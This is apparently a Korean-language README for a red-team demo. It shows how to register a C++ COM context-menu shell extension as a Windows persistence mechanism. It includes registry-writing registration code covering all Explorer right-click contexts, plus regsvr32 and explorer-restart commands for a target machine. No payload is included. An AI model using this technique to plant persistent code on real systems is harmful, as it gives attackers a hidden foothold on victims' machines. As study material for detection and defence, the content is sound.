
COM Windows 지속성 기법
CVE-2026-21509에서 영감을 받음
C++ 및 COM을 사용한 Windows 컨텍스트 메뉴 핸들러의 샘플 구현으로, 은밀한 지속성 기술을 보여줍니다. 사용자 지정 COM 개체를 등록하면 사용자가 Windows 탐색기에서 특정 대상(파일, 폴더 또는 배경)을 마우스 오른쪽 버튼으로 클릭할 때마다 코드가 실행됩니다.
면책 조항: 이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 여기에 설명된 기술은 악의적인 목적으로 사용될 수 있습니다. 저자는 이 코드를 불법 활동에 사용하는 것을 묵인하지 않습니다. 책임감 있게 행동하고 이 지식을 윤리적으로 사용하십시오.

DllMain.cpp
+-----------------------+
| DLL 템플릿 프로젝트 |
+-------+-------+-------+
____/ | \_____
| | |
v v v
+------------+ +----------------+ +--------------+
| 정의 | | MyClassFactory | | 정의 |
clsid_defined.h | CLSID | +----------------+ | 내보내기 | Source.def
+------------+ ClassFactory | 함수 |
class +--------------+
|
|
v
+--------------+
| MyMenuHandler|
+--------------+
MyMenuHandler
class
DllMain.cppCOM 개체가 DLL을 등록 및 등록 취소하는 데 필요한 표준 함수를 포함합니다.
DllRegisterServer(): 대상 파일 확장자/배경에 해당하는 레지스트리 경로를 씁니다. DLL이 등록될 때 실행됩니다.STDAPI DllRegisterServer() {
std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
std::wstring dllPath = MyGetModuleFilename();
// 1. COM 클래스 등록 (CLSID)
std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");
// 2. DLL 경로 및 스레딩 모델 등록
std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");
// 3. 모든 셸 컨텍스트에 등록
// 파일, 폴더, 배경, 데스크톱을 포함하는 경로 배열
std::wstring handlerPaths[] = {
L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
};
for (const auto& path : handlerPaths) {
std::wstring fullPath = path + L"MyMenuHandler"; // 핸들러 이름으로 바꾸세요
SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
}
// 4. 승인된 목록에 등록 (많은 Windows 버전에서 필요)
std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");
// 5. 셸에 변경 사항이 있음을 알림
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return S_OK;
}
DllUnregisterServer(): 레지스트리를 정리합니다. DLL 등록이 취소될 때 호출됩니다.MyClassFactoryCOM 개체를 인스턴스화하는 데 필요합니다. 클래스 팩토리에 대한 자세한 내용.
Clsid_defined.h애플리케이션이 탐색기에 등록될 GUID를 포함합니다. Visual Studio의 guidgen.exe 또는 온라인 GUID 생성기를 사용하여 새 GUID를 생성할 수 있습니다.
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);
Source.def모듈 정의 파일입니다. DLL이 내보내는 함수를 지정합니다. .DEF 파일에 대한 자세한 내용.
EXPORTS
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
MyMenuHandler.cppIShellExtInit와 IContextMenu를 구현하는 핵심 클래스입니다. 여기서 사용자 정의 동작을 정의합니다.
MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
등록된 대상에서 마우스 오른쪽 버튼을 클릭할 때마다 호출됩니다. 클릭한 파일이나 폴더를 구문 분석하는 데 사용됩니다.HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);
// 1. 파일/폴더를 클릭했는지 확인
if (pdtobj)
{
STGMEDIUM medium;
FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
{
DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
ReleaseStgMedium(&medium);
return S_OK; // 성공!
}
}
// 2. 배경을 클릭했는지 확인 (pidlFolder)
if (pidlFolder)
{
if (SHGetPathFromIDListA(pidlFolder, m_szFile))
{
return S_OK; // 성공!
}
}
// 3. 폴백: 둘 다 없는 경우에도 메뉴를 표시하기 위해 S_OK 반환
// m_szFile에 경로가 채워지지 않았을 뿐입니다.
return S_OK;
}
MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp)
사용자가 컨텍스트 메뉴에서 특정 사용자 정의 옵션을 클릭할 때 호출됩니다. 여기서 지속성 페이로드 또는 사용자 정의 동작이 실행됩니다.대상 VM에서 컴파일된 DLL을 복사하고 다음 명령을 실행합니다.
표준 Windows 바이너리를 사용하여 DLL을 등록합니다.
regsvr32.exe RightHandPersistence.dll
explorer.exe 프로세스를 다시 시작하여 새 셸 확장이 메모리에 로드되도록 합니다.
taskkill /f /im explorer.exe & start explorer.exe
컨텍스트 메뉴 핸들러를 제거하고 레지스트리를 정리하려면 regsvr32.exe와 함께 /u 플래그를 사용합니다. 그러면 DllUnregisterServer 함수가 호출됩니다.
regsvr32.exe /u RightHandPersistence.dll
Windows는 "빈 공간"과 파일을 다르게 분류합니다. 배경을 대상으로 하려면 레지스트리 키를 다음 특정 위치에 매핑하세요.
확장자 매핑에 대한 자세한 내용은 Microsoft Shell 컨텍스트 메뉴 설명서에서 확인할 수 있습니다.
IContextMenu::QueryContextMenu 메서드를 구현하여 메뉴에 사용자 정의 텍스트(예: "사용자 정의 복사" 또는 "진단 실행")를 지정할 수 있습니다. 이 사용자 정의 텍스트를 클릭하면 IContextMenu::InvokeCommand 내부의 로직이 트리거됩니다.
| 마우스 오른쪽 버튼 클릭 대상 | 레지스트리 키 경로 |
|---|
| 파일 (모든 파일) | HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers |
| 폴더 (아이콘) | HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers |
| 폴더 배경 | HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers |
| 데스크톱 배경 | HKEY_CLASSES_ROOT\DesktopBackground\shellex\ContextMenuHandlers |